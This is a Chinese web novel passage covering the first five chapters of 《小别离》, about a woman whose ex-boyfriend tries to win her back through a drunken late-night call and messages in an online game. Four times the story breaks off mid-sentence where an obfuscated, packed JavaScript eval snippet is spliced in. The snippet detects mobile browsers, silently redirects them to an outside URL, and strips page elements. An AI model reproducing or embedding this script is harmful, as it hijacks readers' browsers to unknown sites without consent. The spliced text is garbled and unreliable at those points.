《小别离》 1. 楔子 林清浅做了一个梦,梦里她站在樱花树下,终于等到了那个说要陪她看樱花的人。 彼时有风,粉色的樱花纷纷扬扬地飘落,如同下了一场樱花雨,将整个世界装扮成浪漫的粉色。那人于这浪漫之中缓步而来,在她面前站定,笑得如同初见时那般明朗朝气。 他说:我来履行约定了,浅浅。 林清浅心有触动,却在未有任何行动之前,画面碎裂成一片又一片,连同面前触手可及的人,都如这漫天的樱花一般飞扬飘走。 她急得想要去抓住,手刚抬起,却似跌入深渊一般,猛然睁眼,才发现自己原来是做了梦。赏樱楼上游人如织,她一一看遍,却无一人是他。 林清浅低声自嘲:“是游戏里碰瓷了太多次的白日梦以致于成了执念吗?不然这大白天的怎么就做起了梦呢?我与阿景,明明已经分开了整整三个月了呀。” 然后她就笑出了声,心说:“这可真巧,我们在一起整整三个月,分开也是整整三个月,从国庆到元旦,从元旦到愚人节,每一步都卡在了点上。” “所以命运也在笑我是个愚人啊。”她仰头叹息,起身跟着游客走下楼去。 待出了楼下台阶时,看着赏樱楼前的樱花树上挂满了日式风铃,恰有和煦春风吹过,“叮铃叮铃”地响成了一片,清脆悦耳,如同少女的笑声,听得林清浅不由驻足。 那声音像是有涤涤荡身心的效果,洗去了她心中蔓延上来的悲伤,心情霎时间变得开朗明亮,一如这满目樱花,于和煦春风里灿然绽放。 她想:我与他的爱情,如这樱花能灿烂一时,其实已经足矣,毕竟,没有谁会真正陪谁走完一辈子。 —— 与此同时,距赏樱楼近百米远的长道上,带着眼镜的少年双手举起手机正在拍对面的赏樱楼,手指按下拍摄时目光被左下角台阶上的一道身影吸引了目光。 那是个女子,身着杏色长裙立于樱花树下,身边游人往来不绝,她却孑然静立,仿佛沉进了樱花色的梦里,却又不被这漫山的樱花所淹没。 众生脚步匆匆,独她不动如山,让拍照的少年一瞬间想起某个人——某个他来之前曾期盼遇见,却又害怕遇见的人;亦是他曾主动推开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958950|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 身体先于意识做出决定,他拔腿就往赏樱楼跑。可当他赶到时,台阶之上,哪有他看见的那道身影。周围游人换了一批又一批,他一一搜寻,根本没有那人的踪迹。 是我的幻觉吧。他颓然地在台阶上坐下,仰头看着日式风铃于春风里飘荡,不知怎地就想起几个月前曾有人对他说过的话:“我很喜欢听风吹动风铃的声音,清脆,悦耳,仿佛能去除人心的杂念,唤起人的初心。” 他当时不以为然,心想这样的小东西怎么可能有让人重拾初心的魅力,可此时此刻,他在阵阵“叮铃叮铃”的声音里,心中所想所愿的只有一人——那个他曾答应要陪她来看樱花,却被他爽约了的人。 那不是他的初心,甚至都不是他最爱的人,所以在权衡利弊之后觉得,最初失去的难过能用工作和时间来填充。 可无数个孤独难眠的长夜里,他一次又一次地回忆起有她参与的短暂过去,蓦然发现,有的人,来的时候悄无声息,离开后已成镌刻入骨的执念。 他在樱花雨中轻声说:我想你了,浅浅,可是我找不到你了。 2. 来电 “我去过荒无人间,看过浪漫风月,可领略风景万千,不抵见你一眼……”春夜,忽然响起的手机铃声打破一室静谧,黑暗中才睡下不久的人翻了个身,哼唧两声后从被子里伸出一只手,毫不犹豫地一划,室内又恢复了安静。 可不过两秒,铃声再次响起,床上的人不满地呢喃,把被子往上一拉,将自己整个埋了进去。 如此并不能完全隔绝铃声,它只是变小了一点,在这样静寂的春夜里依然扰人睡眠。于是没一会儿,被子又被掀开,先前的那只手拿过床头柜上的手机,看也没看地放到耳边,迷迷糊糊地“喂”了一声。 “浅浅……”电话那边的声音有点含糊不清,明明只有两个字,却说得很难,仿佛在嘴边打了个转,又犹豫着想吞回去似的,语气之中还带着点小心翼翼。 林清浅浓重的睡意转瞬间消失殆尽。她于黑夜中睁开眼,把手机举到面前,看到是个陌生号码,可显示的号码归属地却能证明她不是在梦里。 虽然只有简短的一个称呼,可她怎么会不认得这个声音,那是她三十五年来唯一深爱且与之交往过的前男友——李盛景。 哪怕带了个“前”字,哪怕他们相处的时间短暂,可唯一的特殊性,让这位前男友足以在她不算长也不算短的生命里画下极其浓墨重彩的一笔,更何况,不久前她还梦见过她的这位前男友,当时还起了不该有的幻想,以致于她哪怕是在睡眼惺忪之际听到对方的声音,也立刻就将人给认了出来。 林清浅将手机放回耳边,恰好此时电话那边的人又出了声:“浅浅,你怎么不说话啊?你是不是生我的气?我错了宝贝,我爱你,你理我一下好不好?” 林清浅半坐起身,找了个舒服的姿势靠着,不挂断,但也没开口。 她后知后觉地想起来,她在搬家前整理东西的时候,看着李盛景留下的衣服时一瞬间泪如泉涌,而他们分手将近三个月,这期间他们毫无联系,甚至连游戏里都没有再遇见过。于是她决定像做出辞职决定的时候一样,将所有与李盛景有关的东西全都收了起来扔掉。 只是,站在垃圾桶前,她看着那个并不大的盒子,却终究生出了一点不舍,最后虽然没扔,但也被放在了极其不起眼的位置,不特别注意,绝不会看到。至于对方的联系方式,也在她搬家的当时全都被拉进了黑名单,连同那个断崖式离开他的人一起。 可明明都已经久不联系的人,也断绝了彼此往来的所有方式,怎么会在这样的深夜里打电话来呢?还说出这般讨好的话,让人以为他们还没分手,只是小情侣之间闹了矛盾似的。 林清浅一时有些怔愣。 “宝贝,我爱你。”电话那边的人等不到她的回应依旧不肯挂断,自顾自地说了下去:“我去了鼋头渚,我在那里见到了一个和你很像很像的人。可是我跑过去的时候她就不见了。” 林清浅张了张口,想问他是不是打错电话了。可李盛景明明喊的是自己的名字。 她问出了能想到的唯一原因:“你喝醉了吗?” “有一点点,但是不影响。”李盛景的声音带着醉酒之人才有的吐字模糊,他说:“我还是很喜欢听你说话,好温柔啊浅浅,我当初就是被你的声音吸引的。浅浅,我们和好好不好?我好喜欢你,我爱你,宝贝。” 林清浅伸手按亮了床头的开关,橘色的暖灯明明不刺眼,她却觉得眼睛生疼,疼得她眼眶里慢慢涌出了泪水。 她说:“你是在外面吗?我听到有风声。喝醉酒了就早些回家吧,代驾找了吗?” “代驾已经到了,我让他等我半小时。因为我想跟你说话,浅浅,我好怕你不接我电话。”电话那边传来一点杂音,但完全掩不住语气里的撒娇。 林清浅伸手抹掉溢到眼角的泪水时想:但凡我接电话前看了一眼来显,肯定是会毫不犹豫地挂掉的。 但既然已经接了,对方又是醉酒状态,她便用辞职前哄小朋友们的语气说:“你把手机给代驾。” “我不想回去。”李盛景敏锐地拒绝了:“我是故意把自己喝醉的,我想大醉一场,可是我他妈的酒量有点好,喝了2瓶。你知道吗,2瓶,白酒,可是我还是没醉死过去。浅浅,我好想你啊。” 林清浅不说话了。她拿着手机,身体慢慢地下滑进被子里,却也没有挂断电话。 电话那边的人絮絮叨叨的,平日里明明不是很多话的人,在喝醉酒的这个晚上却表现像个话唠:“我去水城找你了,你不是说你要8月底才辞职的吗?可是我去了你的公司,她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958951|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你辞职了。我又去了你住的地方,那里住进了别人,但是那个人好奇怪,他问我是不是你男朋友,我说是,他骂我‘渣男’,然后砰地把门关上了。” “浅浅,他是不是认识你啊?不然他为什么那么生气?”李盛景呕了一下,孩子般难过又委屈地说:“想吐。” 林清浅告诉自己,应该把电话挂了,可听到这句“想吐”,她按挂断的手迟疑了一秒,心软的毛病就开始作祟,温声安抚说:“你现在在哪里?旁边有垃圾桶吗?喝醉酒想吐很正常的。” “可是我怕。”李盛景的声音里带出了哭音:“浅浅我好怕啊,我到处找你,可是找不到。游戏里碰不到你,电话打不通,工作你辞了,连租的地方搬走了。” “你骗我。”他控诉道:“你以前明明说,就算我们分手了也还可以做朋友,做师徒的,可是你说不要我就不要了。” 林清浅承认自己骗人:“对不起。” “你不要说对不起。”李盛景听她道歉又心疼:“是我,是我逼你的,是我嫌你烦,先把你□□和微信拉黑,是我说情侣分手了做不成朋友的,是我活该。可是我后悔了,我后悔了浅浅,所以你原谅我好不好?我好想你,真的真的好想你。我想和你和好。” 林清浅沉默不语。 这就是在拒绝了,李盛景觉得胃里涌上来的呕意已经止不住。他丢了手机,推开车门下去,没往前走几步就控制不住地吐了出来。 旁边等着的代驾走了过来,问他是否需要帮忙,他请人去车里给他拿了瓶水,等吐完漱口,春末的晚风再一吹,他清醒了些许,转身回去找手机时,以为对面肯定挂了,却发现仍在通话中。 他生出些期许来,小心地喊了一声:“浅浅”。 “回去吧,你明天还要上班的。”林清浅用她天生柔和的嗓音说道:“回去好好睡一觉,我就当没接过这通电话。” 李盛景还想挽留,却发现对方说完就挂了电话。 他打了过去,很快就被挂断,再打,却是毫无情感起伏的女声说:“您所拨打的电话已在通话中……” 被拉黑了。 他站在深夜的街道上,看着宽阔的路面上几乎连一辆行驶的车都没有,忽然就不知道自己该往哪里去。 3. 密聊 12月31日,晚上,距离新年的到来已经不足一个小时了,白日里没多少人的沙滩上人满为患,连十多米外的大道上也挤满了来往的车辆和人群。他们大多都是年轻的情侣,也有结伴而来的朋友,还有父母带着孩子前来的。 林清浅与李盛景坐在道路对面的海鲜大排档里,看着从7点就开始燃放的烟花一直持续了几个小时,不仅未有停歇的迹象,反而随着新年的逐渐临近而愈发绚烂盛大。 吃完饭后,她与李盛景也去放了烟花,很常见的仙女棒,纯粹凑个热闹,拍几张好看的照片。这样开心的日子里,氛围也烘托得很到位,哪怕只是手牵着手走在拥挤的人群里,也觉得幸福。 林清浅看着海面上徐徐升起的一盏孔明灯说:“我们来制定一个有彼此参加的新年计划吧。” 李盛景侧头看着烟花下林清浅微笑的脸,也跟着笑了起来:“姐姐想把我放进你的新年计划,看来所图不小哦。” “没有呢。”林清浅调侃地说:“弟弟可以拒绝的嘛,毕竟你又不是我的谁,对吧?” 她转过来的笑靥带着一点狡黠,又有一点孩子似地调皮,是李盛景最喜欢的鲜活模样,勾得他把人搂住,恶狠狠地说:“给你一个改口的机会,我是你的谁?” 林清浅在他怀里笑:“我不知道啊,你是我的谁呀?” 李盛景在她嘴角啄了一下:“是你的老公。” “可别乱说。”林清浅害羞地把头埋进他胸口:“只是我男朋友。” “好好好,男朋友。”他把人从怀里牵出来,看了眼时间,带着人往高处的台阶上走:“那就……你陪我看一次日出吧。” 林清浅将自己的手从他的指缝中穿过去,与他十指相扣,微笑着答应:“好啊。那你陪我看一次日落吧,某人之前就答应我了,到现在都没兑现。”语气里带着一点抱怨。 “我的错。”李盛景迅速认错,但又很无奈:“你也知道,我太忙了,不是我不想。” “所以我没有生气,你还曾答应陪我看一次星星呢。”林清浅大度地原谅了他:“把这些都放进新年计划里吧,然后新的一年里,我们可以养成一个对方的爱好。鉴于你太忙了,那你就培养一个看电影的爱好可以吗?我想你陪我看电影。” “可以,非常棒,我的女朋友真体贴!”李盛景在林清浅的鼻子上点了一下,把人牵到最高的台阶上,找了个空隙钻进去。 他从身后把林清浅抱进怀里,头靠在对方的肩膀上,嗅着她身上浅淡的香味,温柔地说:“浅浅,你可以早点辞职吗?真想每天下了班就看到你。” 林清浅温柔但坚定地说:“虽然我也想每天都看到你,但是不行哦,说好了9月辞职的。” 环在腰间的手紧了一些,李盛景叹了口气,看着下面熙熙攘攘的人群,表情变得认真起来:“我会支持你的。但是我预计6月份的时候把你介绍给我爸妈,9月你过来和我同居,10月咱们去领证,完美!” 林清浅双手握着他的手腕,逗他:“想得挺长远啊,可万一同居后发现我们不合适呢?” 李盛景配合地夸张大叫:“不可能!我们是绝配!” 两人说话间海滩上的人变得更多,连他们身后都站了人。虽是冬天,沿海城市的晚风却很温柔,有些直播的UP主为了上镜甚至只穿了条针织短裙,红彤彤的,非常符合此时的氛围。 海面上升起了一盏又一盏孔明灯,还有无人机在绽放的烟花中飞行,越是临近新年,夜空中绽放的烟花越多,大朵大朵的,布满了整个天空,放眼望去,全都是璀璨夺目的光芒。 林清浅与李盛景就着相拥的姿势制定好了他们的新年计划,然后在12点59分59秒的时候,林清浅头往后倾,凑到李盛景耳边说:“新年快乐,李盛景!新的一年我们也要在一起!” 彼时沙滩上全是在大喊着“新年快乐”的人,还有人在盛大的烟花下大声许愿,而李盛景同样在她耳边回应:“新年快乐,林清浅,我爱你!” 这个晚上,他们一同跨年,然后在烟花下拥抱,亲吻,在朋友圈里公开彼此,定下了新年的10个约定,甚至谈到了婚嫁与生子。 可当喧嚣过去,林清浅还未踏上回程的飞机,他们的爱情,就如跨年夜的烟火一样,绽放的时候满天满地,却在人群退去之后,只余一地狼藉。 —— “姐姐,姐姐!”第一声还是正常音量,到了第二声突然加大,把坐在电脑椅里的人喊得吓了一跳,但总算是回过神了。 赵绵绵疑惑地看着林清浅:“你今天怎么回事啊,跟你说话老走神。” “呃?没事,就是有点困。”林清浅打起精神,继续在电脑上学习画图。 “你平时不是挺能熬夜的嘛,昨晚睡得还比平时早,上午起得也很晚,怎么还这么困?”赵绵绵把手机解锁递给小女儿玩:“我去接希希放学了,你看着点星星,别再走神了啊。”说完不等林清浅答应,拿了常用手机和车钥匙就走了。 林清浅画完了一个长方体,标上长宽高的数值,然后就将软件给关了,看着客厅里刷抖音刷的聚精会神的小侄女林灿星,没一会儿又走起了神。 虽然昨晚挂电话和拉黑的举动做得坚决,可后面她不可避免地失眠了。 她想起了跨年夜的那场盛大烟花,想起游戏里的点点滴滴,也想知道李盛景有没有安全到家。 有那么片刻,林清浅的心里甚至冒出了一点坏的想法:要是他出点事就好了,如此,他的后悔可能会显得真一点点。 但真要出事,以自己的性格,肯定是会自责的,毕竟,她自认与李盛景之间并无仇怨,而谁也不能保证,每一场恋爱都能走到一个幸福美满的结局。 很多人一辈子都遇不到喜欢的人,遇到了也未必能在一起;还有很多人,谈了好几场恋爱,最终却与不喜欢也不讨厌的人结婚;而大多数人,从未体会过两情相悦的快乐,因此,林清浅不仅不怨不恨,甚至心怀感激,因为是李盛景让她知道,自己爱一个人时是什么样的,也体会过被爱是种什么样的感受。 她不是注重结果的人。相比结果,她更注重过程,恋爱,失恋,于她来说都是她短暂人生里的一段经历,区别只在于重要与不重要。 只是,那种在幸福的顶点轰然坠落深渊的痛苦感觉,在几个月后的深夜接到电话的那一刻依然清晰得仿若昨日。她捂着胸口半晌才缓过来,以致这一整日都让她无法心静。 林清浅拿起手机给好友发消息:你相信酒后吐真言么? 朋友大概上班无聊,几乎是秒回:不信吧,不是有话说么,男人三分醉,演到你流泪。 林清浅想到自己昨晚开灯时被刺得流泪时笑了一声。 好像是有那么点道理。 旁边看手机的林灿星听见,仰着小脸奶声奶气地问:“姑姑你笑什么呀?” “姑姑在笑自己自欺欺人。”她抬手摸了摸小侄女头顶上软趴趴的小揪揪,在小侄女“什么是自唧唧人呀”的问话里打字:说得很有道理。 然后回答小侄女说:“就是自己欺骗自己的意思。” “哦。”林灿星歪着头又问:“姑姑骗自己吗?” “是呀。”林清浅回得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958952|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很是温柔耐心,头却低着,手上也没停:昨晚接到他的电话了,跟我说他后悔了,还说想我,爱我,你说可笑不可笑? 亲爱的:谁?弟弟? 沉迷学习的浅浅:嗯,是他。 亲爱的:这是跟前女友和好后发现还是你更好,所以找你复合来了? 沉迷学习的浅浅:不愧是我女朋友,跟我当时的想法一致。 林清浅在接到电话后脑海里确实有浮现过这个想法,因为跨完年的当天,他们在机场拥抱后告别,有朋友因为看了她的朋友圈后好奇地问:“那他也在朋友圈里公开你了吗?” 此时的林清浅虽因为与男朋友分离而生出点离情别绪,可她乐意给好友分享狗粮,于是推着行李箱边去找候机厅边单手点开朋友圈,打算截图发给好友。结果时间都往前翻到了30日仍未找到。 疑惑的她停下了步子,直接点开了李盛景的朋友圈,并未找到0点0分公开她的那条内容。 可早上醒来时明明看见还在的。 下午的阳光透过巨大的落地玻璃照射进来,林清浅站在其中,却只感觉到了浑身的冰凉。 她当场就想质问李盛景,可想到他正在开车回家的路上,又因为深夜陪她吹海风生了病,终究忍住了。直到飞机落地,她告诉他自己安全到达,却许久都未收到回复时她才问:那条朋友圈为什么看不见了? 一个多小时后,到了住处的林清浅等到了回复:删了。 她想到凌晨2点多打来的打通电话。从来当着她面接电话的人,说着是同事打来的,来显也确实如此,却没有当着她的面接,而是跑去了酒店外,她怕他冷,去给他送外套,根本没找到人,直到一个多小时后才回来。 她打字:为什么删了?然后又删掉,改成了“我们分手吧”,李盛景回了个“好”。 是在次日,一晚上无数次哭得睡着了,不久后醒来,然后继续哭,哭累了继续睡,反反复复直到天光大亮,林清浅才想起来自己应该给对方一个解释的机会,于是她给李盛景打了个电话,得到了一个“她看到了,来找我了”的答案。 林清浅不哭了。 她冷笑:“我真贱。”然后挂了电话。 她不太愿意去回忆当时的场景,也做好了把这个人存进记忆深处的决定,日后或许会想起,但他们相隔千里,不会再有任何交集。事实上,若没有昨晚的这个电话,她与亲朋好友之间的话题都不会再提到他。 可女朋友嗅到了瓜的味道,非常好奇地问:快跟我说说,他怎么求复合的? 对这个亲密无间的好朋友,林清浅是没有任何秘密的。她简短地说了昨晚那通电话的内容,然后说:他后面还有打过来,我给拉黑了。 亲爱的:干得好,浅浅! 亲爱的:这下终于报了当初他把你拉黑的仇! 林清浅被后面这一句逗笑,心情很好地回应:对,报仇了! 沉迷学习的浅浅:[扬眉吐气.jpg] 亲爱的:[大仇得报.jpg] 两人斗了一会儿表情包,林清浅看了眼沉迷短视频的小侄女,柔声问她:“星星要喝水吗?” 林灿星头也不抬地回:“不要哦。” 林清浅想着也没事,便用手机登了游戏,打算去签个到,顺便做个家园日常。 上线是在侠客岛,她召唤宠物碰瓷了下奇遇,又是无事发生的一天。 于是回了私宅,正要去做个白日梦的时候发现有未读消息。她好奇地点开,是个意想不到的人。 【李咩咩】悄悄对你说:师父,我等你一天了。 4. 徒弟 林清浅已经很久没登她的花姐号了。当时断崖式分手,让她连玩了十多年的游戏都提不起兴趣,只是,身体的肌肉记忆又促使她每天习惯性地上线,然后就一直在游戏里挂机。 她心里知道可以去做日常,去竞技场,去战场,去碰瓷奇遇,或者看风景,穿上漂亮的衣服去拍照,去做一切游戏里曾吸引她的事,可事实却是,她连换个地图都不愿意。 曾经那么喜欢的游戏,好像因为缺了一个人,突然就变得索然无味起来。 可又不肯离开,每天上线后都要打开师徒列表,查看那个人是否有上过线。真等到他想看到的那个头像亮起来了,却又什么都不做,也什么都做不了,还要因为对方没有理会自己而延长自己的痛苦期。 最后是朋友劝她多出去走走,于是她在冬日的湖边静坐了一下午,看冬日温暖地阳光穿过高大密集的红杉洒落下来;看结伴而来的三个阿姨在湖边拍照;看湖中小岛上的亭子里一对依偎着的年轻情侣。 她也看阳光照在湖面上粼粼的水光;看鸟飞快地掠过湖面,留下一圈圈荡漾开的波纹;看头顶无云的天空。 林清浅问自己:如果再来一回,你会因为这个结局而拒绝和他在一起吗? 答案是否定的。虽然结局不如人意,可至少过程是美好的,与李盛景在一起后的每一天她都觉得很快乐,且心怀期待。 “我当初和他在一起的时候,本就没想过要与他走到结婚生子啊,我只是想谈个恋爱。”林清浅在这个下午终于接受了分手的事实。 她在湖边坐到金乌西坠,披着夕阳的余晖离开。 这一晚,她在日记中写:其实仔细想想,剑3几百万玩家,我们能有幸遇见,并一同走过一段时光,已经是莫大的荣幸。我不怨恨,只是有那么一点遗憾,遗憾时间有些短,有许多约定好的事,还没来得及去做就走到了尽头。 她还写:我知道离别是人生的常态,遗憾也是。我应该庆幸时间短暂,让我尽快调整好状态,去走向我安稳平凡的每一天。毕竟,大多数人的一生,都是平凡普通的一生,所以不必焦虑没有他的明天。 也是这一晚,她没再登花姐那个号,而是玩起了同一账号下的毒萝,直到今天。 林清浅想:果然是受了昨晚那个电话的影响吧,不然今天怎么就登了花姐呢,明明这些天他已经逐渐习惯上毒萝号了。 她顿了一下,若无其事地回了句:徒弟好。 李咩咩就等着她的回复,很快就发了新的消息过来:我不太好。师父,我可以召请你吗? 林清浅正想着是拒绝还是接受,玩着手机的林灿星小朋友忽然开口:“姑姑,我拉尿了。” 她赶紧丢了手机过去:“裤子湿了吗?” 小朋友只是重复:“我拉尿了。” 检查后林清浅发现裤子并未尿湿,但是尿片满了。她抱着林灿星上楼,林灿星抱着手机看,于是她逗了逗小侄女:“星星,姑姑和手机你只能选一个,你要姑姑还是手机呀?” 林灿星奶糯的声音没有一秒犹豫:“选姑姑。”说完把手机上交。 林清浅没接,笑着继续问:“这么喜欢姑姑呀?” “嗯。”林灿星认真点头:“喜欢姑姑。” 林清浅边上楼梯边低头蹭了蹭小侄女嫩滑的小脸:“姑姑也喜欢星星。” 等她给小侄女换完尿片再下楼时,发现李咩咩给她发了好几条密聊。 【李咩咩】悄悄对你说:我今天醒来发现昨晚给你打了电话,没乱说什么话吧? 【李咩咩】悄悄对你说:你不想理我了吗,师父? 【李咩咩】悄悄对你说:对不起,浅浅。但是可以给我一个机会吗?你说过事不过三的,我现在可以使用第一次机会吗? 【李咩咩】悄悄对你说:师父#哭泣# 林清浅看着这些内容,心里是拒绝回复的,但有些事直接面对比逃避更有用,于是她心平气和地回复:没乱说什么话,也没有不理你,我不是跟你打招呼了么? 但关于给机会的,她却避而不答。 李盛景站在自己的私宅里,看着这不算长的一句话却红了眼睛。 他知道那个问题被跳过去就已经是对方给的答案。他也知道自己不该继续问,可他性子里的固执在这时候发作,非要追着问:真的没有机会了么? 林清浅原本想下线,可想到这样有躲避的嫌疑,于是传送到了私宅,然后去床上,躺着碰瓷白日梦的时间里把当日的签到给做完了,还上交了调香师所需要的花和大掌柜需要的酒,等传送到宠物窝让宠物出行时才点开密聊。 【香盈袖】悄悄对你说:我没有做备胎的癖好哦。 这是她能说出口的最大程度的丑话了,甚至怕伤到人还加了个语气词。 【李咩咩】悄悄对你说:不是备胎。我没有跟她在一起。 林清浅盯着那句话多看了两秒,收完玫瑰,种上了三天才能成熟的铃兰,然后才回复:是吗?但我们分手了,而分手的原因确实是因为她。 她终究是带了一点点埋怨:她是你的初恋,也是你的白月光,你们都分了5年,但她只评论了三个字你就能因此心虚地删了朋友圈并与我分手。 【香盈袖】悄悄地说:李盛景,承认吧,你根本就不喜欢我。 这一句发出去后林清浅直接退出了游戏。 逃避也好,丢脸也罢,有些人一旦在你生命里占据过重要的地位,哪怕后来离散,再次相见之时,你注定是要溃不成军的。 林清浅想:丢脸总比犯贱好。 她并不怨恨,毕竟从与李盛景恋爱到分手的整个过程,她都是快乐和幸福的,只不过当时站得太高,跌得太狠,以致于时间过去这么久,她仍未曾走出来。 她坐在电脑前发呆,赵绵绵回来时见到的就是她神思不属的模样。她朝女儿做了个“嘘”的动作,放轻脚步走了过去,绕到林清浅身后大喊了一声:“回魂啦!” 林清浅吓得眼泪都流出来了。 这副模样把赵绵绵也吓到了,不可置信地问:“啊?我把你吓哭了?我这么厉害的吗?” 大侄女林希音也靠了过来,抱着她的胳膊问:“姑姑你被我妈妈吓到了吗?” “没有。”林清浅朝林希音笑了下,擦掉眼角的泪花说:“刚刚打哈欠打的。” “吓死我了。”赵绵绵拍了拍胸口,见她双眼泛红,又心生怀疑:“真是打哈欠打的?你眼睛都红了,打哈欠还会红眼睛吗?而且你今天有些不对劲,老是走神,说,是不是有事瞒着我?” 林清浅犹豫了下要不要告诉她,可想到当初分手时表妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958953|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与弟媳赵绵绵强烈要求她把李盛景的微信号发出来好去大骂对方一顿的行为,顿时又觉得还是不说的好,没地多生事端,于是她摇摇头,表示自己没事。 虽是如此说,等赵绵绵坐到电脑前时她还是找上了自己的好朋友祁安,对方听完后问:他说他没和前任在一起? 沉迷学习的浅浅:嗯,他是这么说的。 亲爱的:那你信吗? 沉迷学习的浅浅:信不信对于结果都没有任何意义吧,我们都分手三个多月了。 亲爱的:可是我很好奇哎,如果是因为前任和你分手,那他为什么没有和前任复合? 沉迷学习的浅浅:他想复合人家就要同意吗?而且也有可能是复合了发现不合适再次分手了也有可能。 亲爱的:可是如果是后面这种情况的话,那应该不是没在一起吧,而会说分手了? 好像有点道理,但是林清浅并不想像做阅读理解一样去分析李盛景的那句话,因为他们之间的故事早就标好了结局,没复合也好,复合后再分也罢,都不是自己应该在意的,而且自己那么回复了李盛景之后,他应该会明白,以他们如今的关系,做最熟悉的陌生人就好,不必再有任何交集。 想到此处的林清浅再次登上了游戏,想着这一段师徒关系也该结束了。毕竟,游戏是不可能不玩的,毒萝虽然可爱,可花姐与她显然更契合一点,亦是她从创号之初就在玩的角色。 “不对啊,”林清浅小声嘀咕:“我为什么要因为他就去玩毒萝呢,虽然当时只是不想因为他的存在延长自己的痛苦期,可后面我都接受事实了啊。为了他才去玩毒萝,会显得我像是在躲着他一样,说不定还会让他觉得我还没有放下。” 她对自己说:“我明明是因为之前太忙了没时间玩所以只能上去签个到,签到嘛同一账号上登哪个角色都一样的。” 她这话也没有假,分手后不久便是农历新年,在外忙碌了一年终于能回到家乡,走亲访友自不必说,还跟着亲朋游山玩水,乐得无心游戏。 新年一过,学生考级的时间便逼近了,她因为有了辞职转行的打算,在与学生们相处的最后时间里尤其用心,且练琴时间也比平日里多了一倍不止,因为知道以后不会有太多时间,所以倍加珍惜,游戏时间就不得不减少了。 游戏加载完毕,花姐重新在私宅上线,她还没来得及操作,屏幕最上方跳出了好友发来的消息:浅浅,我刚刚想到一个可能。你说有没有可能,弟弟在跟你分手后发现他更喜欢你,所以才没有和前任和好? 林清浅看得愣了一下,下意识地想:怎么可能呢,如果他发现更喜欢的人是我,怎么会三个月都不来找我呢。 她将手机转了过来,打算切换到微信时碰到了底部的一个申请,屏幕上再次出现了过图的画面。 这是有人召请了她。 游戏里能召请的,除了帮会和六重好感度的亲友,就只剩下师徒了。林清浅心里有了猜测,所以当过完图,看见面前站着的破虏套道长时并不觉得意外。 她意外的是密聊的内容。 【李咩咩】悄悄对你说:师父,我骗了你,我不是因为前任才要和你分手的。 如果不是因为前任,那还有什么原因呢?林清浅想到朋友发的内容,心里无法否认,她想知道答案。 5. 缘由 林清浅忍住了没有问,她把游戏密聊直接截了图发给好友:你看,不是因为更喜欢我。 可这让好友更加好奇:如果不是因为前任,那会是什么原因? 林清浅想:能是什么原因呢?无非家里反对;不想谈异地恋;性格不合适。 喜欢一个人的理由有千百种,但不喜欢一个人的原因,归根究底就只有一个,就只是喜欢得不够深刻而已。 可她不问,李盛景却要说:我当时很乱,在你,爸妈,还有前任之间乱成了一团麻。 你看,果然如此。林清浅心如止水地给他递话:所以,是你父母不同意? 【李咩咩】悄悄对你说:是的,我把你所有的信息都告诉了他们,包括你离过婚。 这倒是有点出乎林清浅的意外,她看得整个人一愣,半晌后缓缓地笑了起来:我明白了。 【香盈袖】悄悄对你说:那我可以问一下,你当初跟我分手的主要原因,是你爸妈反对,还是因为你前女友? 【李咩咩】悄悄对你说:不是因为她。我当时就把她删了,因为我都忘了她还有我好友。 【香盈袖】悄悄对你说:所以主要是因为父母? 【李咩咩】悄悄对你说:对,我爸妈看到你的照片后对你很满意,想要我带你去见他们。但我一高兴,说得太多了,把你离婚的事说漏嘴了,他们反对得很激烈。 林清浅看到这里内心很平静。她从一开始就知道,自己领过离婚证是个绝对的雷点,所以她在答应与李盛景恋爱之前她就告诉了他,只是,当时的李盛景说:我不在乎。 当时的她忘了多问一句:那你父母在意吗? 其实也不是忘记问,而是那时候的她只想着谈个恋爱,根本没想过要将这一场恋爱谈出个结果,所以无所谓对方的父母在意不在意。 她这次的笑真心实意了一点:父母反对这个原因,比起你因为前女友评论一句“恋爱了?”就跟我分手,我觉得前者更能让我接受一些。 